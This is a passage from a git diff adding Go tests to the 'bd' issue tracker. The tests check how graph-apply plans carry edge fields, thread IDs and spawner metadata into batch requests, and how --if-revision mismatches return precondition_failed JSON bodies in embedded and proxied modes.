"keyed": {Key: "root"}, + "aliased": {Key: "root"}, + "external": {ID: "bd-existing"}, + } + if !reflect.DeepEqual(got, want) { + t.Errorf("parent-child targets = %+v, want %+v", got, want) + } +} + +// TestBuildGraphApplyBatchRequestWaitsForGateMetadataCarriesGateOnly pins that +// this translation only ever writes the gate into a waits-for edge's +// Metadata: SpawnerKey/SpawnerID are validated elsewhere to equal the edge's +// own target, and issueops.StampWaitsForSpawnerID (the role's own end, not +// this translation) is what fills metadata.spawner_id once the batch mints +// every id — see graphApplyEdgeBatchMetadata's doc. +func TestBuildGraphApplyBatchRequestWaitsForGateMetadataCarriesGateOnly(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "gate", Title: "Gate"}, + {Key: "spawner", Title: "Spawner"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "gate", ToKey: "spawner", Type: "waits-for", Gate: "any-children", SpawnerKey: "spawner"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(edge.Metadata), &meta); err != nil { + t.Fatalf("edge.Metadata = %q not valid WaitsForMeta JSON: %v", edge.Metadata, err) + } + if meta.Gate != types.WaitsForAnyChildren { + t.Errorf("meta.Gate = %q, want any-children", meta.Gate) + } + if meta.SpawnerID != "" { + t.Errorf("meta.SpawnerID = %q, want empty: the role stamps it after ids are minted", meta.SpawnerID) + } + if !edge.HasSpawner { + t.Errorf("edge.HasSpawner = false, want true: the edge named spawner_key %q", "spawner") + } +} + +// TestBuildGraphApplyBatchRequestWaitsForNoSpawnerLeavesHasSpawnerFalse pins +// the 2026-10 Opus-review HIGH-2 fix's other half: a waits-for edge that names +// NO spawner_key/spawner_id must translate to HasSpawner false, so the role +// (StampWaitsForSpawnerID's caller in both BatchApplier legs) leaves its +// stored metadata gate-only rather than stamping in a spawner_id the plan +// never asked for. +func TestBuildGraphApplyBatchRequestWaitsForNoSpawnerLeavesHasSpawnerFalse(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "gate", Title: "Gate"}, + {Key: "spawner", Title: "Spawner"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "gate", ToKey: "spawner", Type: "waits-for"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.HasSpawner { + t.Errorf("edge.HasSpawner = true, want false: the edge named no spawner_key/spawner_id") + } +} + +// TestBuildGraphApplyBatchRequestCarriesEdgeThreadID pins that edges[].thread_id +// — previously rejected outright because issueops.DepAddItem had no member to +// carry it (the 2026-10 Opus-review HIGH-1 finding) — now reaches the dep_add +// item's own ThreadID field unchanged, so both BatchApplier legs can stamp it +// onto the stored dependency row (see TestGraphApplyThreadIDGoldenParity for +// the stored-row assertion). +func TestBuildGraphApplyBatchRequestCarriesEdgeThreadID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A"}, + {Key: "b", Title: "B"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: "replies-to", ThreadID: "thread-1"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.ThreadID != "thread-1" { + t.Errorf("edge.ThreadID = %q, want %q", edge.ThreadID, "thread-1") + } +} + +// TestBuildGraphApplyBatchRequestCapBoundary pins the exact boundary of the +// "atomic, never chunked" refusal: a plan whose translated item count sits at +// issueops.MaxApplyBatchItems is accepted, and one item over is refused with +// *GraphApplyTooLargeError rather than being split across more than one +// transaction. +func TestBuildGraphApplyBatchRequestCapBoundary(t *testing.T) { + buildPlanWithNodeCount := func(n int) *GraphApplyPlan { + nodes := make([]GraphApplyNode, n) + for i := range nodes { + nodes[i] = GraphApplyNode{Key: fmt.Sprintf("n%d", i), Title: "N"} + } + return &GraphApplyPlan{Nodes: nodes} + } + + t.Run("exactly the cap succeeds", func(t *testing.T) { + plan := buildPlanWithNodeCount(issueops.MaxApplyBatchItems) + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest at the cap: %v", err) + } + if len(req.Items) != issueops.MaxApplyBatchItems { + t.Fatalf("item count = %d, want %d", len(req.Items), issueops.MaxApplyBatchItems) + } + }) + + t.Run("one over the cap is refused", func(t *testing.T) { + plan := buildPlanWithNodeCount(issueops.MaxApplyBatchItems + 1) + _, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + var tooLarge *GraphApplyTooLargeError + if !errors.As(err, &tooLarge) { + t.Fatalf("err = %v, want *GraphApplyTooLargeError", err) + } + if tooLarge.ItemCount != issueops.MaxApplyBatchItems+1 || tooLarge.Max != issueops.MaxApplyBatchItems { + t.Errorf("tooLarge = %+v, want ItemCount=%d Max=%d", tooLarge, issueops.MaxApplyBatchItems+1, issueops.MaxApplyBatchItems) + } + }) +} + +// wantCoveredGraphApplyEdgeFields and wantCoveredGraphApplyNodeDepFields are +// the field-name allowlists TestBuildGraphApplyBatchRequestFieldsSurvive +// checks every GraphApplyEdge/GraphApplyNodeDep field against. A field +// missing from its allowlist fails the test immediately: this is the guard +// against a future field silently riding through buildGraphApplyBatchRequest +// untested, which is exactly how edges[].thread_id (2026-10 Opus-review +// HIGH-1) and the spawner_key/spawner_id -> HasSpawner translation (HIGH-2) +// went unverified before. Adding a field to either struct means adding it +// here AND adding a subtest below that proves it reaches (or is deliberately +// dropped from) the built issueops.ApplyBatchRequest. +var wantCoveredGraphApplyEdgeFields = map[string]bool{ + "FromKey": true, "FromID": true, "ToKey": true, "ToID": true, + "Type": true, "Gate": true, "SpawnerKey": true, "SpawnerID": true, + "ThreadID": true, +} + +var wantCoveredGraphApplyNodeDepFields = map[string]bool{ + "Type": true, "Target": true, +} + +// TestBuildGraphApplyBatchRequestFieldsSurvive is the field-check test the +// coordinator's 2026-10 re-review asked for: it fails if any graph-plan edge +// or inline-dep field — including thread_id, the spawner fields and gate +// metadata — is dropped when buildGraphApplyBatchRequest translates a plan +// into issueops.DepAddItem entries for the BatchApplier request. +// +// This cannot be the old (now-deleted) TestBuildDomainGraphPlanCoversEdgeFields +// reflection trick of copying every source field onto a same-named destination +// field: GraphApplyEdge and issueops.DepAddItem do not share field names. +// FromKey/FromID collapse into one Source Ref, ToKey/ToID into one Target Ref, +// Gate is JSON-encoded into Metadata only for waits-for edges, and +// SpawnerKey/SpawnerID collapse into the derived HasSpawner bool. So instead +// this enumerates GraphApplyEdge/GraphApplyNodeDep's fields by reflection and +// requires each one to be claimed in wantCoveredGraphApplyEdgeFields / +// wantCoveredGraphApplyNodeDepFields above (an unclaimed field fails outright, +// forcing a conscious update here), then independently proves each claimed +// field actually reaches the built request. +func TestBuildGraphApplyBatchRequestFieldsSurvive(t *testing.T) { + assertAllFieldsClaimed := func(t *testing.T, typ reflect.Type, claimed map[string]bool) { + t.Helper() + for i := 0; i < typ.NumField(); i++ { + name := typ.Field(i).Name + if !claimed[name] { + t.Errorf("%s.%s has no coverage claim in this test; add it to the allowlist and prove it survives buildGraphApplyBatchRequest", typ.Name(), name) + } + } + for name := range claimed { + if _, ok := typ.FieldByName(name); !ok { + t.Errorf("allowlist claims %s.%s but no such field exists; stale entry", typ.Name(), name) + } + } + } + assertAllFieldsClaimed(t, reflect.TypeOf(GraphApplyEdge{}), wantCoveredGraphApplyEdgeFields) + assertAllFieldsClaimed(t, reflect.TypeOf(GraphApplyNodeDep{}), wantCoveredGraphApplyNodeDepFields) + + // lastDepAdd returns the last dep_add item's payload, matching the + // pattern every sibling test in this file already uses to pick out the + // one edge a single-edge plan produces. + lastDepAdd := func(t *testing.T, req issueops.ApplyBatchRequest) *issueops.DepAddItem { + t.Helper() + var got *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + got = item.DepAdd + } + } + if got == nil { + t.Fatal("no dep_add item found in built request") + } + return got + } + + t.Run("FromKey and ToKey resolve to plan-key refs", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "related-to"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{Key: "a"}) { + t.Errorf("Source = %+v, want key ref a (FromKey dropped?)", edge.Source) + } + if edge.Target != (issueops.Ref{Key: "b"}) { + t.Errorf("Target = %+v, want key ref b (ToKey dropped?)", edge.Target) + } + }) + + t.Run("FromID and ToID resolve to id refs", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "placeholder", Title: "unused except to keep the plan non-empty"}}, + Edges: []GraphApplyEdge{{FromID: "bd-from-1", ToID: "bd-to-1", Type: "blocks"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{ID: "bd-from-1"}) { + t.Errorf("Source = %+v, want id ref bd-from-1 (FromID dropped?)", edge.Source) + } + if edge.Target != (issueops.Ref{ID: "bd-to-1"}) { + t.Errorf("Target = %+v, want id ref bd-to-1 (ToID dropped?)", edge.Target) + } + }) + + t.Run("Type carries through to DepAddItem.Type", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "custom-edge-type"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Type != types.DependencyType("custom-edge-type") { + t.Errorf("Type = %q, want %q (Type dropped?)", edge.Type, "custom-edge-type") + } + }) + + t.Run("Gate is JSON-encoded into Metadata for a waits-for edge", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor), Gate: string(types.WaitsForAnyChildren), SpawnerKey: "spawner"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(edge.Metadata), &meta); err != nil { + t.Fatalf("Metadata = %q not valid WaitsForMeta JSON: %v (Gate dropped?)", edge.Metadata, err) + } + if meta.Gate != types.WaitsForAnyChildren { + t.Errorf("meta.Gate = %q, want %q (Gate dropped?)", meta.Gate, types.WaitsForAnyChildren) + } + }) + + t.Run("SpawnerKey sets HasSpawner true", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor), SpawnerKey: "spawner"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); !edge.HasSpawner { + t.Error("HasSpawner = false, want true (SpawnerKey dropped?)") + } + }) + + t.Run("SpawnerID sets HasSpawner true", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToID: "bd-spawner-1", Type: string(types.DepWaitsFor), SpawnerID: "bd-spawner-1"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); !edge.HasSpawner { + t.Error("HasSpawner = false, want true (SpawnerID dropped?)") + } + }) + + t.Run("no spawner field leaves HasSpawner false", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "gate", Title: "Gate"}, {Key: "spawner", Title: "Spawner"}}, + Edges: []GraphApplyEdge{{FromKey: "gate", ToKey: "spawner", Type: string(types.DepWaitsFor)}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); edge.HasSpawner { + t.Error("HasSpawner = true, want false: edge named no spawner_key/spawner_id") + } + }) + + t.Run("ThreadID carries through unchanged", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{{Key: "a", Title: "A"}, {Key: "b", Title: "B"}}, + Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: "replies-to", ThreadID: "thread-field-check"}}, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + if edge := lastDepAdd(t, req); edge.ThreadID != "thread-field-check" { + t.Errorf("ThreadID = %q, want %q (ThreadID dropped?)", edge.ThreadID, "thread-field-check") + } + }) + + t.Run("inline dep Type and Target carry through", func(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent"}, + {Key: "child", Title: "Child", Deps: []GraphApplyNodeDep{{Type: "field-check-dep-type", Target: "parent"}}}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + edge := lastDepAdd(t, req) + if edge.Source != (issueops.Ref{Key: "child"}) || edge.Target != (issueops.Ref{Key: "parent"}) { + t.Errorf("Source/Target = %+v/%+v, want child/parent key refs (Target dropped?)", edge.Source, edge.Target) + } + if edge.Type != types.DependencyType("field-check-dep-type") { + t.Errorf("Type = %q, want %q (inline dep Type dropped?)", edge.Type, "field-check-dep-type") + } + }) +} diff --git a/cmd/bd/graph_apply_thread_spawner_embedded_test.go b/cmd/bd/graph_apply_thread_spawner_embedded_test.go new file mode 100644 index 000000000..28212536d --- /dev/null +++ b/cmd/bd/graph_apply_thread_spawner_embedded_test.go @@ -0,0 +1,115 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" +) + +// edgeRow is the raw persisted shape of a dependencies row that this test +// cares about: the JSON metadata blob and the thread_id column. +type edgeRow struct { + metadata string + threadID string +} + +// queryEdgeRow reads the metadata/thread_id columns for a single dependency +// edge directly via SQL, bypassing any CLI-level projection, so this test is +// a true golden parity check of what --graph actually persisted. +func queryEdgeRow(t *testing.T, beadsDir, database, issueID, dependsOnID string) edgeRow { + t.Helper() + dataDir := filepath.Join(beadsDir, "embeddeddolt") + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer cleanup() + var row edgeRow + err = db.QueryRowContext(t.Context(), + "SELECT COALESCE(metadata,''), COALESCE(thread_id,'') FROM dependencies "+ + "WHERE issue_id = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", + issueID, dependsOnID).Scan(&row.metadata, &row.threadID) + if err != nil { + t.Fatalf("query edge row %s -> %s: %v", issueID, dependsOnID, err) + } + return row +} + +// TestGraphApplyThreadIDAndSpawnerStampGoldenParity is the golden +// input->stored-row parity test required by the S11 review fix-up for HIGH-1 +// (edges[].thread_id was being rejected, but was previously stored and must +// round-trip) and HIGH-2 (edges[].spawner_key/spawner_id must stamp +// metadata.spawner_id only when the plan actually named a spawner; an +// unnamed waits-for edge must keep gate-only metadata, matching the +// pre-BatchApplier types.NewGraphEdgeDependency behavior). +func TestGraphApplyThreadIDAndSpawnerStampGoldenParity(t *testing.T) { + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gp") + + plan := `{ + "nodes": [ + {"key": "a", "title": "A"}, + {"key": "b", "title": "B"}, + {"key": "s", "title": "Spawner"}, + {"key": "w", "title": "Waiter"}, + {"key": "s2", "title": "Spawner2"}, + {"key": "w2", "title": "Waiter2"} + ], + "edges": [ + {"from_key": "a", "to_key": "b", "type": "replies-to", "thread_id": "th-1"}, + {"from_key": "w", "to_key": "s", "type": "waits-for", "gate": "any-children", "spawner_key": "s"}, + {"from_key": "w2", "to_key": "s2", "type": "waits-for"} + ] + }` + planFile := filepath.Join(dir, "golden-plan.json") + if err := os.WriteFile(planFile, []byte(plan), 0o600); err != nil { + t.Fatalf("write plan: %v", err) + } + result := bdCreateGraph(t, bd, dir, planFile) + + aID, bID := result.IDs["a"], result.IDs["b"] + sID, wID := result.IDs["s"], result.IDs["w"] + s2ID, w2ID := result.IDs["s2"], result.IDs["w2"] + for key, id := range map[string]string{"a": aID, "b": bID, "s": sID, "w": wID, "s2": s2ID, "w2": w2ID} { + if id == "" { + t.Fatalf("missing resolved id for key %q in %+v", key, result.IDs) + } + } + + // HIGH-1: thread_id must round-trip from plan input to stored row. + threadRow := queryEdgeRow(t, beadsDir, "gp", aID, bID) + if threadRow.threadID != "th-1" { + t.Errorf("replies-to thread_id = %q, want %q", threadRow.threadID, "th-1") + } + + // HIGH-2 positive: a waits-for edge with a named spawner_key must stamp + // metadata.spawner_id to the resolved spawner issue ID. + spawnRow := queryEdgeRow(t, beadsDir, "gp", wID, sID) + var spawnMeta map[string]any + if err := json.Unmarshal([]byte(spawnRow.metadata), &spawnMeta); err != nil { + t.Fatalf("parse spawner edge metadata %q: %v", spawnRow.metadata, err) + } + if spawnMeta["gate"] != "any-children" { + t.Errorf("spawner edge gate = %v, want any-children", spawnMeta["gate"]) + } + if spawnMeta["spawner_id"] != sID { + t.Errorf("spawner edge spawner_id = %v, want %q", spawnMeta["spawner_id"], sID) + } + + // HIGH-2 negative: a waits-for edge with no named spawner must keep + // gate-only metadata and must NOT acquire a spawner_id (the bug: it was + // previously stamped unconditionally from the resolved target). + noSpawnRow := queryEdgeRow(t, beadsDir, "gp", w2ID, s2ID) + var noSpawnMeta map[string]any + if err := json.Unmarshal([]byte(noSpawnRow.metadata), &noSpawnMeta); err != nil { + t.Fatalf("parse no-spawner edge metadata %q: %v", noSpawnRow.metadata, err) + } + if _, present := noSpawnMeta["spawner_id"]; present { + t.Errorf("no-spawner edge metadata = %q, must not contain spawner_id", noSpawnRow.metadata) + } +} diff --git a/cmd/bd/if_revision_gc_matcher_embedded_test.go b/cmd/bd/if_revision_gc_matcher_embedded_test.go new file mode 100644 index 000000000..4ef28c612 --- /dev/null +++ b/cmd/bd/if_revision_gc_matcher_embedded_test.go @@ -0,0 +1,194 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "os" + "strconv" + "testing" +) + +// This file is a faithful, line-for-line port of the DECODE half of gc's +// (gascity origin/main) internal/beads/bdstore_conditional.go — specifically +// bdConditionalErrorBody, hasDiscriminator, parseBdConditionalErrorBody, and +// decodeBdConditionalBodies. It exists because bd and gc are separate repos +// with no shared Go package: gc's matcher parses bd's CLI JSON error output +// by convention, not by a compiled contract, so the only way to pin that +// contract from bd's side is to copy gc's own decode logic and run it against +// bd's real output. This is the "faithful copy of its decode" alternative the +// 2026-10 Opus review of f8c7ecf01 asked for, in lieu of vendoring the gc +// module. If gc's decode logic changes, this port and +// TestEmbeddedGCConditionalMatcherDecode below must be updated to match — the +// contract is the string/shape, not this file. +// +// Keep this in sync with gc's internal/beads/bdstore_conditional.go. + +type gcBdConditionalErrorBody struct { + Error string `json:"error"` + Code string `json:"code"` + ExpectedRevision *int64 `json:"expected_revision"` + CurrentRevision *int64 `json:"current_revision"` +} + +func (b gcBdConditionalErrorBody) hasDiscriminator() bool { + return b.Code != "" || b.ExpectedRevision != nil || b.CurrentRevision != nil +} + +func gcParseBdConditionalErrorBody(out []byte, errText string) (gcBdConditionalErrorBody, bool) { + sources := [][]byte{out} + if errText != "" { + sources = append(sources, []byte(errText)) + } + var ( + fallback gcBdConditionalErrorBody + haveAny bool + ) + for _, src := range sources { + for _, body := range gcDecodeBdConditionalBodies(src) { + if body.hasDiscriminator() { + return body, true + } + if !haveAny { + fallback, haveAny = body, true + } + } + } + return fallback, haveAny +} + +func gcDecodeBdConditionalBodies(src []byte) []gcBdConditionalErrorBody { + var bodies []gcBdConditionalErrorBody + for i := 0; i < len(src); { + brace := bytes.IndexByte(src[i:], '{') + if brace < 0 { + break + } + i += brace + dec := json.NewDecoder(bytes.NewReader(src[i:])) + var env struct { + Data *gcBdConditionalErrorBody `json:"data"` + gcBdConditionalErrorBody + } + if dec.Decode(&env) != nil { + i++ + continue + } + if env.Data != nil { + bodies = append(bodies, *env.Data) + } else { + bodies = append(bodies, env.gcBdConditionalErrorBody) + } + i += int(dec.InputOffset()) + } + return bodies +} + +// gcClassifyAsPrecondition replicates classifyConditionalWriteResult's +// authoritative-code branch: a recognized machine body code dominates +// everything else, including the message heuristics gc falls back to when bd +// omits a code. This is the path the BLOCKER fix activates — the fallback +// phrase-matching ("precondition failed" / "revision mismatch") is +// deliberately NOT exercised here, since the fix's whole point is that gc no +// longer needs it. +func gcClassifyAsPrecondition(out []byte, errText string) (ok bool, expected, current int64, haveExpected, haveCurrent bool) { + body, bodyOK := gcParseBdConditionalErrorBody(out, errText) + if !bodyOK || body.Code != "precondition_failed" { + return false, 0, 0, false, false + } + if body.ExpectedRevision != nil { + expected, haveExpected = *body.ExpectedRevision, true + } + if body.CurrentRevision != nil { + current, haveCurrent = *body.CurrentRevision, true + } + return true, expected, current, haveExpected, haveCurrent +} + +// TestEmbeddedGCConditionalMatcherDecode runs the ported gc decode (above) +// against a real --if-revision mismatch from the built bd, for every verb gc's +// BdStore.{Update,Close,Delete}IfMatch (and bd's own assign/reopen guards) +// cover, pinning the 2026-10 Opus-review BLOCKER fix end-to-end: gc's own +// classifier logic, not just bd's JSON shape in isolation, must recognize the +// refusal as a precondition with the caller's expected revision and bd's +// current one. The TestEmbedded name in an *_embedded_test.go file is what +// puts it in a CI lane: .github/scripts/embedded-test-shard.sh discovers +// tests by exactly that pair, and under any other name it skips everywhere. +func TestEmbeddedGCConditionalMatcherDecode(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "igc") + env := crossModeEnv{mode: "embedded", bd: bd, dir: dir, env: bdEnv(dir)} + + cases := []struct { + name string + closeFirst bool // start from a closed issue rather than a fresh open one + args func(id string) []string + }{ + {"update", false, func(id string) []string { + return []string{"update", id, "--if-revision", "", "--priority", "3", "--json"} + }}, + {"close", false, func(id string) []string { + return []string{"close", id, "--if-revision", "", "--json"} + }}, + {"reopen", true, func(id string) []string { + return []string{"reopen", id, "--if-revision", "", "--json"} + }}, + // The guard is judged before reopen's already-open no-op, so a stale + // token on an open issue is still a refusal (exit 13 and the same + // body), never an "already open" success that stops fencing. + {"reopen_open", false, func(id string) []string { + return []string{"reopen", id, "--if-revision", "", "--json"} + }}, + {"delete", false, func(id string) []string { + return []string{"delete", id, "--if-revision", "", "--force", "--json"} + }}, + {"assign", false, func(id string) []string { + return []string{"assign", id, "bob", "--if-revision", "", "--json"} + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // Each case gets its own issue so the cases can run (and be + // re-run individually with `go test -run`) independent of each + // other's order — a guard mismatch never writes, but the two + // reopen rows each need a known starting status. + issue := bdCreate(t, bd, dir, "GC matcher target: "+tc.name, "--type", "task") + if tc.closeFirst { + bdClose(t, bd, dir, issue.ID) + } + rev := bdShowRevision(t, bd, dir, issue.ID) + expected := rev + 1_000_000 // any value distinct from rev works as the "stale" argument + args := tc.args(issue.ID) + for i, a := range args { + if a == "" { + args[i] = strconv.FormatInt(expected, 10) + } + } + stdout, stderr, code := env.run(t, args...) + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + // gc's runner captures bd's combined output as the subprocess + // error text; bd's own io split (stdout vs stderr) is not + // something gc's matcher relies on, so feeding it stderr (where + // bd actually writes the JSON error) as both "out" and the error + // string is a faithful stand-in for that runner contract. + ok, gotExpected, gotCurrent, haveExpected, haveCurrent := gcClassifyAsPrecondition([]byte(stderr), stderr) + if !ok { + t.Fatalf("gc's matcher did not classify this as precondition_failed\nstderr:\n%s", stderr) + } + if !haveExpected || gotExpected != expected { + t.Errorf("gc decoded expected_revision = %v, want %d", gotExpected, expected) + } + if !haveCurrent { + t.Errorf("gc decoded no current_revision") + } else { + t.Logf("gc decoded current_revision = %d", gotCurrent) + } + }) + } +} diff --git a/cmd/bd/if_revision_proxied_integration_test.go b/cmd/bd/if_revision_proxied_integration_test.go new file mode 100644 index 000000000..24e20ab8d --- /dev/null +++ b/cmd/bd/if_revision_proxied_integration_test.go @@ -0,0 +1,290 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "strconv" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// if_revision_proxied_integration_test.go is the server-path (uow/proxied) +// twin of #7203's if_revision_embedded_test.go (37acca96d): that file only +// exercises --if-revision through buildEmbeddedBD's direct, non-proxied +// route. These tests exercise the same CLI guard through *_proxied_server.go's +// uow-backed preflight/apply path, against a real shared proxied dolt-server, +// to pin that gascity's code:"precondition_failed" + numeric +// expected_revision/current_revision body is identical across both legs, not +// just the embedded one -- including on `bd reopen`, which #7203 did not add +// --if-revision to at all (see reopen.go). +// +// Like every other *_proxied_integration_test.go in this package, this +// requires BEADS_TEST_PROXIED_SERVER=1 and a reachable Dolt container; it +// skips otherwise (see requireProxiedServerEnv). The TestProxiedServer name +// prefix is load-bearing: .github/scripts/proxied-test-shard.sh discovers +// that lane's tests by name, and it is the only lane that sets the env. + +// proxiedPreconditionBody mirrors #7203's own ifRevisionFailureBody +// (if_revision.go): numeric expected_revision/current_revision only, no +// decimal-string twins -- TestEmbeddedGCConditionalMatcherDecode already +// confirmed gc's matcher decodes this shape exactly (encoding/json decodes a +// JSON number straight into an int64 struct field with no float64 +// intermediate, so there is no precision loss to work around here). +type proxiedPreconditionBody struct { + Code string `json:"code"` + ExpectedRevision *int64 `json:"expected_revision"` + CurrentRevision *int64 `json:"current_revision"` +} + +func assertProxiedPreconditionBody(t *testing.T, stderr string, wantExpected int64) { + t.Helper() + obj := lastJSONObjectLine(stderr) + if obj == "" { + t.Fatalf("no JSON object line on stderr:\n%s", stderr) + } + var body proxiedPreconditionBody + if err := json.Unmarshal([]byte(obj), &body); err != nil { + t.Fatalf("parse error body: %v\nraw: %s", err, obj) + } + if body.Code != ifRevisionCodePreconditionFailed { + t.Errorf("code = %q, want %q\nraw: %s", body.Code, ifRevisionCodePreconditionFailed, obj) + } + if body.ExpectedRevision == nil || *body.ExpectedRevision != wantExpected { + t.Errorf("expected_revision = %v, want %d (JSON number, not string)\nraw: %s", body.ExpectedRevision, wantExpected, obj) + } + if body.CurrentRevision == nil { + t.Errorf("current_revision is absent, want a value\nraw: %s", obj) + } +} + +func currentRevisionOfProxied(t *testing.T, bd, dir, id string) int64 { + t.Helper() + details := bdProxiedShowDetailsFirst(t, bd, dir, id) + rev, ok := details["revision"].(string) + if !ok || rev == "" { + t.Fatalf("bd show %s --json has no non-empty revision field: %+v", id, details) + } + v, err := strconv.ParseInt(rev, 10, 64) + if err != nil { + t.Fatalf("bd show %s --json returned an unparseable revision %q: %v", id, rev, err) + } + return v +} + +func staleRevisionFor(rev int64) int64 { + stale := int64(999999999) + if stale == rev { + stale = 999999998 + } + return stale +} + +// TestProxiedServerIfRevisionGuardUpdate pins bd update --if-revision on the +// proxied-server leg: a stale token refuses with exit 13 and a +// precondition_failed JSON body naming numeric revisions, writing nothing; +// the matching token applies. +func TestProxiedServerIfRevisionGuardUpdate(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "piu") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied update", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_writes_nothing", func(t *testing.T) { + stale := staleRevisionFor(rev) + 